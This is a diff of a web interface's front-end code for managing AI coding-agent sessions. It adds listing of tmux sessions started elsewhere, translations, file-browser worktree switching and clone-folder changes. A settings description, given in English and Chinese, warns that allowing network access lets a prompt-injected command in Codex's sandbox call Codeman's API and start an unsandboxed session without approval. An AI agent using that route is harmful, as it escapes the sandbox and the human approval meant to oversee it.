* Without this, a session skipped for an unsafe name or a host that could not
* be reached is simply ABSENT, and "my tmux session does not show up" has no
* answer anywhere in the product. Notes are server-authored strings, rendered
* as text.
*/
_appendForeignNotes(container) {
const local = Array.isArray(this._foreignNotes) ? this._foreignNotes : [];
const wide = this.foreignScanRemote() && Array.isArray(this._foreignWideNotes) ? this._foreignWideNotes : [];
const notes = wide.length ? local.concat(wide) : local;
if (!notes.length) return;
const box = document.createElement('div');
box.className = 'foreign-notes';
box.setAttribute('data-i18n-skip', '');
for (const n of notes) {
const line = document.createElement('div');
line.className = 'foreign-note';
line.textContent = n;
box.appendChild(line);
}
container.appendChild(box);
},
_foreignHeader(count) {
const header = document.createElement('div');
header.className = 'foreign-header';
const title = document.createElement('h3');
title.className = 'foreign-title';
title.textContent = foreignT('Opened outside Codeman');
header.appendChild(title);
if (count) {
const badge = document.createElement('span');
badge.className = 'foreign-count';
badge.setAttribute('data-i18n-skip', '');
badge.textContent = String(count);
header.appendChild(badge);
}
const scan = document.createElement('button');
scan.type = 'button';
scan.className = 'foreign-scan-toggle';
scan.dataset.foreignAction = 'toggle-scan';
scan.setAttribute('aria-pressed', String(this.foreignScanRemote()));
scan.title = foreignT('Also scan containers and remote hosts (slower)');
scan.textContent = this.foreignScanRemote() ? '⟳ all' : '⟳ local';
header.appendChild(scan);
// The wide scan is one-shot, so without this button its rows could only
// ever be refreshed by toggling off and on again.
if (this.foreignScanRemote()) {
const rescan = document.createElement('button');
rescan.type = 'button';
rescan.className = 'foreign-scan-toggle';
rescan.dataset.foreignAction = 'rescan-wide';
rescan.disabled = this._foreignWideLoading === true;
rescan.title = foreignT('Scan containers and remote hosts again');
rescan.textContent = this._foreignWideLoading ? foreignT('Scanning…') : foreignT('Rescan');
header.appendChild(rescan);
}
return header;
},
_foreignRow(row) {
const item = document.createElement('div');
item.className = 'foreign-row';
if (row.adoptedBy) item.classList.add('foreign-row--open');
const dot = document.createElement('span');
dot.className = `foreign-dot foreign-dot--${row.mode || 'shell'}`;
item.appendChild(dot);
const body = document.createElement('span');
body.className = 'foreign-row-body';
const line1 = document.createElement('span');
line1.className = 'foreign-row-name';
line1.setAttribute('data-i18n-skip', '');
line1.textContent = row.sessionName || '(unnamed)';
body.appendChild(line1);
const line2 = document.createElement('span');
line2.className = 'foreign-row-sub';
line2.setAttribute('data-i18n-skip', '');
const bits = [foreignModeLabel(row.mode)];
const where = row.hostLabel || foreignT(FOREIGN_LOCATION_LABEL[row.location] || row.location);
if (where) bits.push(where);
if (row.workingDir) bits.push(row.workingDir);
line2.textContent = bits.join(' · ');
line2.title = row.command || '';
body.appendChild(line2);
item.appendChild(body);
const action = document.createElement('button');
action.type = 'button';
action.className = 'foreign-open-btn';
if (row.adoptedBy) {
action.dataset.foreignAction = 'select';
action.dataset.foreignSession = row.adoptedBy;
action.textContent = foreignT('Go to tab');
} else {
action.dataset.foreignAction = 'adopt';
action.dataset.foreignId = row.id;
action.textContent = foreignT('Open');
}
item.appendChild(action);
return item;
},
/**
* One delegated listener per container, wired once. Delegation matters here
* because the list is fully rebuilt on every poll: per-button listeners would
* leak one set per tick.
*/
wireForeignSessions() {
if (this._foreignWired) return;
this._foreignWired = true;
document.addEventListener('click', (event) => {
const el = event.target?.closest?.('[data-foreign-action]');
if (!el) return;
const action = el.dataset.foreignAction;
if (action === 'adopt') {
void this.adoptForeignSession(el.dataset.foreignId, el);
} else if (action === 'select') {
void this.selectSession(el.dataset.foreignSession);
} else if (action === 'toggle-scan') {
this.toggleForeignScanRemote();
} else if (action === 'rescan-wide') {
this.rescanForeignWide();
}
});
},
});
+5 -3
View File
@@ -425,9 +425,11 @@ Object.assign(CodemanApp.prototype, {
overview.state === 'not-a-repo'
? 'No git repository here: this session’s folder is not one, and none was found inside it (up to two levels down).'
: overview.state === 'unsupported'
? overview.reason === 'docker'
? 'Git status is not available for Docker sessions, or for folders inside a Docker case workspace.'
: 'Git status is not available for remote (SSH) sessions.'
? overview.reason === 'adopted'
? 'Git status is not available for a tmux session opened outside Codeman.'
: overview.reason === 'docker'
? 'Git status is not available for Docker sessions, or for folders inside a Docker case workspace.'
: 'Git status is not available for remote (SSH) sessions.'
: `Could not read the repository: ${overview.error || 'git failed'}`;
body.append(el('div', 'git-status-empty', why));
clearChrome();
+36 -1
View File
@@ -55,6 +55,9 @@
'应用于新本地会话;可用强度取决于模型和 Codex 版本。自定义端点、Docker 和远程会话保留自己的设置。',
'Default Codex model may only contain letters, digits, ".", "_", "-" and "/"':
'Codex 默认模型只能包含字母、数字、"."、"_"、"-" 和 "/"',
'Allow network access': '允许网络访问',
"Lets commands in Codex's workspace-write sandbox use the network, which the Codeman skill needs to reach this server. Those commands can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even when a password is set. So with this on, Codex's sandbox does not contain a prompt-injected command: treat it as close to Bypass. Applies to every new local Codex session, not scheduled jobs. It does not change Codex's sandbox mode: a folder Codex runs read-only (one it does not trust) keeps the network closed and asks per command.":
'允许 Codex 的 workspace-write 沙箱中的命令使用网络,Codeman 技能需要网络才能连接到此服务器。这些命令随后可以调用 Codeman 的 API,而该 API 可以在沙箱之外启动会话且不弹出审批提示,即使设置了密码也是如此。因此开启后,Codex 的沙箱无法约束被提示注入的命令:请把它视为接近“绕过审批与沙箱”。应用于所有新的本地 Codex 会话,不包括定时任务。它不会改变 Codex 的沙箱模式:Codex 以只读方式运行的文件夹(即它不信任的文件夹)仍会保持网络关闭,并逐条命令询问。',
'Skip to terminal': '跳转到终端',
'Go to main page': '返回主页',
'Session tabs': '会话标签页',
@@ -565,10 +568,15 @@
'Open a session to see its edits.': '打开一个会话以查看其编辑。',
'Reading the edit history…': '正在读取编辑历史…',
'Could not read the edit history.': '无法读取编辑历史。',
'Edit history is only available for local Claude sessions.': '编辑历史仅适用于本地 Claude 会话。',
'Edit history is only available for Claude sessions outside Docker.':
'编辑历史仅适用于 Docker 之外的 Claude 会话。',
'Edit history is not available for a tmux session opened outside Codeman.':
'在 Codeman 之外打开的 tmux 会话无法使用编辑历史。',
'Showing saved entries only: {reason}': '仅显示已保存的条目:{reason}',
'No transcript found for this session yet. It is picked up with the next prompt; until then a CLAUDE_CONFIG_DIR set outside Codeman cannot be found.':
'尚未找到此会话的记录。它会在下一次提示时被识别;在此之前,在 Codeman 之外设置的 CLAUDE_CONFIG_DIR 无法被找到。',
'No transcript found on the remote host yet (Claude writes it with the first prompt). A CLAUDE_CONFIG_DIR set only in a shell profile (.profile, .bash_profile, .zshrc) cannot be found.':
'远程主机上尚未找到记录(Claude 会在第一次提示时写入)。仅在 shell 配置文件(.profile、.bash_profile、.zshrc)中设置的 CLAUDE_CONFIG_DIR 无法被找到。',
'No edits yet.': '暂无编辑。',
'No edits by the main agent.': '主智能体没有编辑。',
'Load older': '加载更早的编辑',
@@ -1141,6 +1149,10 @@
'Filter by date range': '按日期范围筛选',
'Filter by session status': '按会话状态筛选',
'Filter files...': '筛选文件…',
Worktree: '工作树',
'Session folder': '会话文件夹',
'Back to worktree': '返回工作树',
'Not fully scanned': '未完全扫描',
'Any status': '任意状态',
'Any time': '任意时间',
'Last hour': '最近一小时',
@@ -1380,6 +1392,29 @@
'Remove Tab': '移除标签页',
'Remove All Tabs': '移除所有标签页',
'Use arrows to reorder. Changes are saved automatically.': '使用方向键重新排序;更改会自动保存。',
// Sessions opened outside Codeman (foreign-sessions.js, the close dialog and Session Options).
'Opened outside Codeman': '在 Codeman 之外打开',
'Also scan containers and remote hosts (slower)': '同时扫描容器和远程主机(较慢)',
'Scan containers and remote hosts again': '重新扫描容器和远程主机',
'⟳ all': '⟳ 全部',
'⟳ local': '⟳ 本机',
'Scanning…': '扫描中…',
Rescan: '重新扫描',
'Opening…': '正在打开…',
'Go to tab': '转到标签页',
'this machine': '本机',
container: '容器',
remote: '远程',
'No sessions found outside Codeman.': '未发现在 Codeman 之外打开的会话。',
'Could not reach the server.': '无法连接服务器。',
'Could not open that session. Refreshing the list.': '无法打开该会话,正在刷新列表。',
'Close Tab': '关闭标签页',
'Detaches only. The tmux session keeps running for whoever started it.':
'仅断开连接。该 tmux 会话会继续运行,供其启动者使用。',
'Where the tmux session was when it was opened here. It was started outside Codeman and keeps running if this tab closes.':
'该 tmux 会话在此处打开时所在的位置。它是在 Codeman 之外启动的,关闭此标签页后仍会继续运行。',
'Git status is not available for a tmux session opened outside Codeman.':
'在 Codeman 之外打开的 tmux 会话无法使用 Git 状态。',
});
const ZH_CN_LOWER = new Map(Object.entries(ZH_CN).map(([key, value]) => [key.toLocaleLowerCase('en'), value]));
+26 -7
View File
@@ -583,6 +583,12 @@
</div>
<div class="history-list" id="historyList"></div>
</div>
<!-- Sessions a human started outside Codeman (foreign-sessions.js).
Hidden until a scan finds one; never rendered empty on a fresh
install, where an empty block reads as a broken feature. -->
<div class="welcome-foreign">
<div class="foreign-sessions" id="foreignSessions" hidden></div>
</div>
<p class="welcome-hint">Or click Run to start</p>
<button class="welcome-ralph-link" onclick="app.showRalphWizard()">Start Ralph Loop &rarr;</button>
</div>
@@ -617,6 +623,11 @@
<button class="btn-icon-sm" onclick="app.closeFileBrowserPanel()" title="Close">&times;</button>
</div>
</div>
<div class="file-browser-root" id="fileBrowserRoot" hidden>
<span class="file-browser-root-label" id="fileBrowserRootLabel"></span>
<span class="file-browser-root-name" id="fileBrowserRootName" data-i18n-skip></span>
<button type="button" class="file-browser-root-switch" id="fileBrowserRootSwitch" onclick="app.toggleFileBrowserRoot()">Session folder</button>
</div>
<div class="file-browser-search">
<input type="text" id="fileBrowserSearch" placeholder="Filter files..." oninput="app.filterFileBrowser(this.value)">
</div>
@@ -1829,11 +1840,11 @@
<p class="modal-session-name" id="closeConfirmSessionName"></p>
</div>
<div class="close-options">
<button class="close-option" onclick="app.confirmCloseSession(false)">
<span class="close-option-title">Remove Tab</span>
<span class="close-option-desc">Tmux session keeps running in background</span>
<button class="close-option" onclick="app.confirmCloseSession(false)" id="closeConfirmKeepBtn">
<span class="close-option-title" id="closeConfirmKeepTitle">Remove Tab</span>
<span class="close-option-desc" id="closeConfirmKeepDesc">Tmux session keeps running in background</span>
</button>
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)">
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)" id="closeConfirmKillBtn">
<span class="close-option-title" id="closeConfirmKillTitle">Kill Tmux & Claude Code</span>
<span class="close-option-desc">Terminate the session completely</span>
</button>
@@ -3045,6 +3056,13 @@
</div>
<label class="switch switch-sm"><input type="checkbox" id="appSettingsCodexDangerouslyBypassApprovals"><span class="slider"></span></label>
</div>
<div class="set-row" data-search="codex network access sandbox loopback codeman skill orchestrate spawn">
<div class="set-row-text">
<span class="set-row-label">Allow network access</span>
<span class="set-row-desc">Lets commands in Codex's workspace-write sandbox use the network, which the Codeman skill needs to reach this server. Those commands can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even when a password is set. So with this on, Codex's sandbox does not contain a prompt-injected command: treat it as close to Bypass. Applies to every new local Codex session, not scheduled jobs. It does not change Codex's sandbox mode: a folder Codex runs read-only (one it does not trust) keeps the network closed and asks per command.</span>
</div>
<label class="switch switch-sm"><input type="checkbox" id="appSettingsCodexNetworkAccess"><span class="slider"></span></label>
</div>
<div class="set-row" data-search="codex animations status effects">
<div class="set-row-text">
<span class="set-row-label">Animated status effects</span>
@@ -3791,15 +3809,15 @@
</div>
<div class="form-row" id="cloneCustomPathToggleRow">
<label class="checkbox-row"><input type="checkbox" id="cloneCustomPathToggle" onchange="app.toggleCloneCustomPath()"> 📁 Clone into a custom folder</label>
<span class="form-hint">By default the clone goes under ~/codeman-cases. Choose a folder and the repository is cloned into that folder itself (an empty folder, or one that does not exist yet); it is listed like any other case, and deleting the case only unlinks it (your files stay).</span>
<span class="form-hint">By default the clone goes under ~/codeman-cases. Choose a folder instead and the repository is cloned into a subfolder of it named after the case, the same way it goes under ~/codeman-cases; it is listed like any other case, and deleting the case only unlinks it (your files stay).</span>
</div>
<div class="form-row" id="cloneCustomPathRow" style="display:none">
<label>Folder</label>
<label>Parent Folder</label>
<div class="path-input-group">
<input type="text" id="cloneCasePath" placeholder="~/projects" autocomplete="off" autocapitalize="off" autocorrect="off" spellcheck="false" oninput="app.updateCloneCasePathPreview()">
<button type="button" class="btn path-input-browse" onclick="app.openCloneCasePathPicker()">Browse&hellip;</button>
</div>
<span class="form-hint" id="cloneCasePathPreview">Pick an empty folder, or one that does not exist yet, to clone into.</span>
<span class="form-hint" id="cloneCasePathPreview">Pick the folder the repository should be cloned inside. It goes into a subfolder named after the case.</span>
</div>
<div class="form-row">
<label>Branch or Tag (optional)</label>
@@ -4664,6 +4682,7 @@
<script defer src="webview-tabs.js"></script>
<script defer src="mobile-overview.js"></script>
<script defer src="home-sessions.js"></script>
<script defer src="foreign-sessions.js"></script>
<script defer src="git-status-ui.js"></script>
<script defer src="edit-history-ui.js"></script>
<script defer src="entrance-animations.js"></script>
+3 -1
View File
@@ -1371,7 +1371,7 @@ const KeyboardAccessoryBar = {
<strong>Compose prompt</strong>
<span>Enter adds a new line</span>
</div>
<textarea class="paste-textarea prompt-composer-textarea" aria-label="Prompt" placeholder="Write your prompt…" autocorrect="on" autocapitalize="sentences" spellcheck="true"></textarea>
<textarea class="paste-textarea prompt-composer-textarea" dir="auto" aria-label="Prompt" placeholder="Write your prompt…" autocorrect="on" autocapitalize="sentences" spellcheck="true"></textarea>
<div class="paste-actions prompt-composer-actions">
<button type="button" class="prompt-composer-terminal">Use terminal keyboard</button>
<button type="button" class="paste-image">📎 Attach</button>
@@ -1384,6 +1384,8 @@ const KeyboardAccessoryBar = {
this._composerOverlay = overlay;
const textarea = overlay.querySelector('.prompt-composer-textarea');
// The textarea's dir="auto" lays a prompt written in Persian, Arabic or
// Hebrew out right to left, from its first letter (#715).
// i18n.js skips <textarea> subtrees (what is typed there is user content),
// so the placeholder and label are translated here, when the dialog is built.
const i18n = typeof window !== 'undefined' ? window.CodemanI18n : undefined;
+10
View File
@@ -508,6 +508,16 @@ Object.assign(CodemanApp.prototype, {
)
);
// Sessions a human opened outside Codeman. Its own container, rebuilt by the
// ONE renderer in foreign-sessions.js: the phone must not grow a second row
// builder that could describe the same session differently from the desktop.
const foreign = document.createElement('div');
foreign.className = 'foreign-sessions mobile-foreign-sessions';
foreign.id = 'mobileForeignSessions';
foreign.hidden = true;
el.appendChild(foreign);
this.renderForeignSessions?.(foreign);
el.appendChild(
this._buildMobileOverviewSection(
'Past sessions',
+12
View File
@@ -4217,6 +4217,18 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
}
}
/* Foreign sessions block inside the phone overview (foreign-sessions.js).
The desktop block sits inside the welcome column; here it is a full-width
section between CURRENT and PAST, so it only needs the surrounding spacing:
every row style is shared with styles.css on purpose. */
.mobile-foreign-sessions {
margin: 0.75rem 0.75rem 0;
}
.mobile-foreign-sessions .foreign-list {
max-height: none;
}
/* Folding devices, tabletop pose: cap the response viewer to the bottom
segment. Twin of the rule at the end of styles.css, needed here because the
phone block (under 600px) above sets `max-height: 92dvh` on the same selector at the same
+79 -5
View File
@@ -3291,6 +3291,8 @@ Object.assign(CodemanApp.prototype, {
matches: [],
deferredDirectoryTarget: null,
filter: typeof this.fileBrowserFilter === 'string' ? this.fileBrowserFilter : '',
// The person asked for the session folder while the agent is in a worktree (#765).
sessionRootPinned: false,
};
}
return this._fileBrowserState;
@@ -3313,6 +3315,7 @@ Object.assign(CodemanApp.prototype, {
state.deferredDirectoryTarget = null;
state.filter = '';
state.view = 'normal';
state.sessionRootPinned = false;
this.fileBrowserData = null;
this.fileBrowserFilter = '';
this.fileBrowserExpandedDirs?.clear?.();
@@ -3323,6 +3326,7 @@ Object.assign(CodemanApp.prototype, {
this._syncFileBrowserExpandBtn();
const expandBtn = this.$?.('fileBrowserExpandBtn');
if (expandBtn) expandBtn.innerHTML = '\u229E';
this._renderFileBrowserRoot(null);
const panel = this.$?.('fileBrowserPanel');
const treeEl = this.$?.('fileBrowserTree');
@@ -3355,6 +3359,7 @@ Object.assign(CodemanApp.prototype, {
state.deferredDirectoryTarget = null;
state.filter = '';
state.view = 'normal';
state.sessionRootPinned = false;
this.fileBrowserData = null;
this.fileBrowserFilter = '';
this.fileBrowserExpandedDirs?.clear?.();
@@ -3365,6 +3370,7 @@ Object.assign(CodemanApp.prototype, {
this._syncFileBrowserExpandBtn();
const expandBtn = this.$?.('fileBrowserExpandBtn');
if (expandBtn) expandBtn.innerHTML = '\u229E';
this._renderFileBrowserRoot(null);
const treeEl = this.$?.('fileBrowserTree');
if (treeEl) treeEl.innerHTML = '';
const statusEl = this.$?.('fileBrowserStatus');
@@ -3457,6 +3463,60 @@ Object.assign(CodemanApp.prototype, {
this._syncFileBrowserExpandBtn();
this.renderFileBrowserTree(normalState.sessionId);
this._renderFileBrowserNormalStatus(normalState.data, normalState.showHidden);
this._renderFileBrowserRoot(normalState.data);
},
// The strip under the panel header, present only while the session's pane is in a linked
// worktree (#765): it says which of the two folders is listed and switches between them.
// Everything here comes from GET .../files, so the strip describes the tree on screen rather
// than the session's state a moment later.
_renderFileBrowserRoot(data) {
const strip = this.$?.('fileBrowserRoot');
if (!strip) return;
const worktree = data?.worktree;
if (typeof worktree?.path !== 'string' || typeof worktree?.name !== 'string') {
strip.hidden = true;
return;
}
const inWorktree = data.root === worktree.path;
const label = this.$?.('fileBrowserRootLabel');
const name = this.$?.('fileBrowserRootName');
const button = this.$?.('fileBrowserRootSwitch');
if (label) label.textContent = inWorktree ? 'Worktree' : 'Session folder';
if (name) name.textContent = inWorktree ? worktree.name : '';
if (button) button.textContent = inWorktree ? 'Session folder' : 'Back to worktree';
strip.title = typeof data.root === 'string' ? data.root : '';
strip.hidden = false;
},
// The `root` parameter of a listing or search. The server ignores it while the pane is not in
// a worktree, so the panel always asks unless the person chose the session folder.
_fileBrowserRootParam() {
return this._ensureFileBrowserState().sessionRootPinned ? '' : '&root=live';
},
toggleFileBrowserRoot() {
const state = this._ensureFileBrowserState();
state.sessionRootPinned = !state.sessionRootPinned;
return this._reloadFileBrowserKeepingQuery();
},
// Called on every session update of the active session. Compares with what the listing on
// screen reported rather than with the previous update, so a load already in flight when the
// pane moved is corrected by the next update, and an answer that matches ends it: a listing
// always reports the session's worktree, whichever folder it walked, so this cannot loop.
_followFileBrowserWorktree(session) {
const state = this._fileBrowserState;
if (!state || state.ownerSessionId !== session.id) return;
if (this.$?.('fileBrowserPanel')?.classList.contains('visible') !== true) return;
const normal = state.normalState;
if (normal?.phase !== 'ready' || normal.sessionId !== session.id) return;
const live = session.liveWorktree?.path ?? null;
const listed = normal.data?.worktree?.path ?? null;
if (live === listed) return;
// The pin was about the worktree the agent has just left.
state.sessionRootPinned = false;
this._reloadFileBrowserKeepingQuery();
},
_validateFileBrowserTreeEnvelope(result) {
@@ -3561,14 +3621,20 @@ Object.assign(CodemanApp.prototype, {
},
async toggleFileBrowserHidden() {
const state = this._ensureFileBrowserState();
const rawInput = typeof state.filter === 'string' ? state.filter : '';
const query = rawInput.trim();
this.fileBrowserShowHidden = !this.fileBrowserShowHidden;
try {
localStorage.setItem(FILE_BROWSER_SHOW_HIDDEN_KEY, this.fileBrowserShowHidden ? '1' : '0');
} catch {}
this._syncFileBrowserHiddenBtn();
return this._reloadFileBrowserKeepingQuery();
},
// Re-fetch the tree after something the server filters on changed (hidden files, the listing's
// root), then re-run the search in the box against the new tree.
async _reloadFileBrowserKeepingQuery() {
const state = this._ensureFileBrowserState();
const rawInput = typeof state.filter === 'string' ? state.filter : '';
const query = rawInput.trim();
if (state.inFlight?.timer !== undefined && state.inFlight?.timer !== null) {
clearTimeout(state.inFlight.timer);
@@ -3642,7 +3708,7 @@ Object.assign(CodemanApp.prototype, {
const request = (async () => {
try {
const res = await fetch(
`/api/sessions/${encodeURIComponent(sessionId)}/files?depth=5&showHidden=${showHidden}`,
`/api/sessions/${encodeURIComponent(sessionId)}/files?depth=5&showHidden=${showHidden}${this._fileBrowserRootParam()}`,
);
if (!res.ok) throw new Error('Failed to load files');
const result = await res.json();
@@ -3737,6 +3803,12 @@ Object.assign(CodemanApp.prototype, {
renderNode(child, depth + 1);
}
}
// The scan stopped at a limit or the folder did not answer, so what is listed above is not all
// of it. Not a .file-tree-item: the click wiring below would try to open it as a file.
if (isDir && isExpanded && node.incomplete === true) {
html.push(`<div class="file-tree-incomplete" data-depth="${depth + 1}">${escapeHtml('Not fully scanned')}</div>`);
}
};
for (const node of tree) {
@@ -3829,6 +3901,7 @@ Object.assign(CodemanApp.prototype, {
showHidden: this.fileBrowserShowHidden === true,
rawInput,
query,
rootParam: this._fileBrowserRootParam(),
timer: null,
};
state.view = 'search-pending';
@@ -3843,7 +3916,7 @@ Object.assign(CodemanApp.prototype, {
request.timer = null;
try {
const res = await fetch(
`/api/sessions/${encodeURIComponent(ownerSessionId)}/files?depth=5&showHidden=${request.showHidden}&q=${encodeURIComponent(query)}`,
`/api/sessions/${encodeURIComponent(ownerSessionId)}/files?depth=5&showHidden=${request.showHidden}&q=${encodeURIComponent(query)}${request.rootParam}`,
);
if (!res.ok) throw new Error('Search failed');
const result = await res.json();
@@ -5080,6 +5153,7 @@ Object.assign(CodemanApp.prototype, {
const doc = tmpl.content.firstElementChild;
this._rebaseFilePreviewMarkdownRefs(doc, info);
this._linkifyFilePaths(doc);
this._applyBlockDirection(doc);
// The linkifier's absolute paths name no session; give them the
// preview's, like the rebased links, or they open in the active tab's.
for (const a of doc.querySelectorAll('a.rv-path:not([data-session-id])')) a.dataset.sessionId = info.sessionId;
+39 -24
View File
@@ -2757,8 +2757,9 @@ Object.assign(CodemanApp.prototype, {
/** Copy the open session's working folder (Session Options > Session > Working folder). */
async copySessionPath() {
const session = this.sessions.get(this.editingSessionId);
if (!session?.workingDir) return;
const ok = await this._copyText(session.workingDir);
const path = session?.adopt?.paneCurrentPath || session?.workingDir;
if (!path) return;
const ok = await this._copyText(path);
this.showToast(ok ? 'Path copied' : 'Copy failed', ok ? 'success' : 'error');
},
@@ -2833,8 +2834,9 @@ Object.assign(CodemanApp.prototype, {
this.updateGitFetchStatus(sessionId);
const imageWatcherToggle = document.getElementById('modalImageWatcherEnabled');
imageWatcherToggle.checked = session.imageWatcherEnabled ?? true;
// The server never watches a remote session's directory (it is on another host), so the row is hidden.
imageWatcherToggle.closest('.set-row').style.display = session.remote ? 'none' : '';
// The server never watches a remote session's directory (it is on another host), nor an adopted
// session's (a neutral wrapper folder), so the row is hidden.
imageWatcherToggle.closest('.set-row').style.display = session.remote || session.adopt ? 'none' : '';
document.getElementById('modalFlickerFilterEnabled').checked = session.flickerFilterEnabled ?? false;
// Populate session name input with prefix/suffix split
@@ -2853,17 +2855,21 @@ Object.assign(CodemanApp.prototype, {
}
// Working folder: the path the CLI was launched in on the Codeman host
// (an adopted session's is the neutral wrapper folder, so the row shows where the pane was)
const _pathEl = document.getElementById('modalSessionPath');
_pathEl.textContent = session.workingDir || '';
_pathEl.title = session.workingDir || '';
document.getElementById('modalSessionPathCopy').disabled = !session.workingDir;
const _shownPath = session.adopt?.paneCurrentPath || session.workingDir || '';
_pathEl.textContent = _shownPath;
_pathEl.title = _shownPath;
document.getElementById('modalSessionPathCopy').disabled = !_shownPath;
// A remote session's workingDir is the REMOTE path; a docker session's is the
// host bind-mount source the container sees.
document.getElementById('modalSessionPathDesc').textContent = session.remote
? "Where this session's CLI runs, on the remote host it reaches over SSH, not on this machine."
: session.docker
? "On the machine hosting Codeman, mounted into the Docker container this session's CLI runs in."
: "Where this session's CLI runs, on the machine hosting Codeman.";
document.getElementById('modalSessionPathDesc').textContent = session.adopt
? 'Where the tmux session was when it was opened here. It was started outside Codeman and keeps running if this tab closes.'
: session.remote
? "Where this session's CLI runs, on the remote host it reaches over SSH, not on this machine."
: session.docker
? "On the machine hosting Codeman, mounted into the Docker container this session's CLI runs in."
: "Where this session's CLI runs, on the machine hosting Codeman.";
// Initialize color picker with current session color
const currentColor = session.color || 'default';
@@ -2890,11 +2896,11 @@ Object.assign(CodemanApp.prototype, {
if (respawnTabBtn) respawnTabBtn.style.display = '';
}
// Git is local git only: a remote (SSH) or Docker case answers 'unsupported' on both git routes and is
// never fetched by the interval scheduler, so its Git tab has nothing to say and its rail entry goes
// hidden the same way.
// Git is local git only: a remote (SSH) or Docker case, or an adopted session, answers 'unsupported' on
// both git routes and is never fetched by the interval scheduler, so its Git tab has nothing to say and
// its rail entry goes hidden the same way.
const gitTabBtn = document.querySelector('#sessionOptionsModal .set-rail-item[data-tab="git"]');
if (gitTabBtn) gitTabBtn.style.display = session.remote || session.docker ? 'none' : '';
if (gitTabBtn) gitTabBtn.style.display = session.remote || session.docker || session.adopt ? 'none' : '';
// Populate Ralph Wiggum form with current session values (skip for external CLI sessions)
if (!isExternalCli) {
@@ -4051,6 +4057,7 @@ Object.assign(CodemanApp.prototype, {
title: 'Choose the folder to create the case in',
initialPath: input.value.trim(),
directoriesOnly: true,
allowNewFolder: true,
onSelect: (path) => {
input.value = path;
this.updateNewCasePathPreview();
@@ -4264,32 +4271,37 @@ Object.assign(CodemanApp.prototype, {
const hint = document.getElementById('cloneCaseNameHint');
if (hint) {
hint.textContent = custom.checked
? 'Filled in from the URL. Names the case only: the repository is cloned into the folder chosen below.'
? 'Filled in from the URL. Names the case and the subfolder of the chosen folder the repository is cloned into.'
: 'Filled in from the URL. Cloned into ~/codeman-cases/<name>, so deleting the case deletes this working tree.';
}
this.updateCloneCasePathPreview();
},
/** The folder the repository is cloned into: exactly what the field holds (no case name is added). */
/** The folder the repository is cloned into: the parent field plus the case name, as Create New does. */
_cloneTargetPath() {
const raw = (document.getElementById('cloneCasePath')?.value || '').trim();
const rawParent = (document.getElementById('cloneCasePath')?.value || '').trim();
const name = (document.getElementById('cloneCaseName')?.value || '').trim();
if (!rawParent || !name) return '';
// Trailing slashes off, but `/` stays the root rather than becoming an empty path.
return raw.length > 1 ? raw.replace(/\/+$/, '') || '/' : raw;
return `${rawParent.replace(/\/+$/, '')}/${name}`;
},
updateCloneCasePathPreview() {
const hint = document.getElementById('cloneCasePathPreview');
if (!hint) return;
const target = this._cloneTargetPath();
hint.textContent = target ? `Will clone into: ${target}` : 'Pick an empty folder, or one that does not exist yet, to clone into.';
hint.textContent = target
? `Will clone into: ${target}`
: 'Pick the folder the repository should be cloned inside. It goes into a subfolder named after the case.';
},
openCloneCasePathPicker() {
const input = document.getElementById('cloneCasePath');
PathPicker.open({
title: 'Choose the folder to clone into',
title: 'Choose the folder to clone inside',
initialPath: input.value.trim(),
directoriesOnly: true,
allowNewFolder: true,
onSelect: (path) => {
input.value = path;
this.updateCloneCasePathPreview();
@@ -4334,12 +4346,14 @@ Object.assign(CodemanApp.prototype, {
onCloneNameEdited() {
// Once the user types a name, autofill stops fighting them.
this._cloneNameEdited = !!document.getElementById('cloneCaseName')?.value.trim();
this.updateCloneCasePathPreview();
},
onCloneUrlInput() {
const url = document.getElementById('cloneRepoUrl')?.value.trim() || '';
const nameInput = document.getElementById('cloneCaseName');
if (nameInput && !this._cloneNameEdited) nameInput.value = this._repoNameFromUrl(url);
this.updateCloneCasePathPreview();
clearTimeout(this._clonePreflightTimer);
this._clonePreflightAbort?.abort();
this._clonePreflightAbort = null;
@@ -4395,6 +4409,7 @@ Object.assign(CodemanApp.prototype, {
// the case name is validated against), but never over a name the user typed.
const nameInput = document.getElementById('cloneCaseName');
if (nameInput && !this._cloneNameEdited && parse.suggestedName) nameInput.value = parse.suggestedName;
this.updateCloneCasePathPreview();
const where = parse.owner ? `${parse.provider} ${parse.owner}/${parse.repo}` : `${parse.provider} ${parse.repo}`;
if (data.gitAvailable === false) {
@@ -4449,7 +4464,7 @@ Object.assign(CodemanApp.prototype, {
const customFolder = !!document.getElementById('cloneCustomPathToggle')?.checked;
if (customFolder && !(document.getElementById('cloneCasePath')?.value || '').trim()) {
this.showToast('Choose the folder to clone into', 'error');
this.showToast('Choose the folder to clone inside', 'error');
return;
}
@@ -6111,7 +6126,7 @@ Object.assign(CodemanApp.prototype, {
/** The Codeman-managed worktree a session runs in, or null (see managedWorktreeOfDir). */
_managedWorktreeOfSession(session) {
if (!session || session.remote || session.docker) return null;
if (!session || session.remote || session.docker || session.adopt) return null;
return managedWorktreeOfDir(session.workingDir, this.cases);
},
+2
View File
@@ -699,6 +699,7 @@ Object.assign(CodemanApp.prototype, {
// that does have it.
document.getElementById('appSettingsCodexDangerouslyBypassApprovals').checked =
settings.codexDangerouslyBypassApprovals ?? false;
document.getElementById('appSettingsCodexNetworkAccess').checked = settings.codexNetworkAccess ?? false;
document.getElementById('appSettingsCodexAnimations').checked =
settings.codexAnimationsEnabled ?? false;
document.getElementById('appSettingsCodexModel').value = settings.codexModel ?? '';
@@ -3209,6 +3210,7 @@ Object.assign(CodemanApp.prototype, {
codexModel: document.getElementById('appSettingsCodexModel').value.trim(),
codexReasoningEffort: document.getElementById('appSettingsCodexReasoningEffort').value,
codexDangerouslyBypassApprovals: document.getElementById('appSettingsCodexDangerouslyBypassApprovals').checked,
codexNetworkAccess: document.getElementById('appSettingsCodexNetworkAccess').checked,
codexAnimationsEnabled: document.getElementById('appSettingsCodexAnimations').checked,
// Claude Permissions settings
agentTeamsEnabled: document.getElementById('appSettingsAgentTeams').checked,
+240 -15
View File
@@ -12207,6 +12207,45 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat
background: var(--bg-hover);
}
.file-browser-root {
display: flex;
align-items: center;
gap: 0.4rem;
padding: 0.25rem 0.5rem;
border-bottom: 1px solid var(--border);
font-size: 0.7rem;
color: var(--text-dim);
}
.file-browser-root[hidden] {
display: none;
}
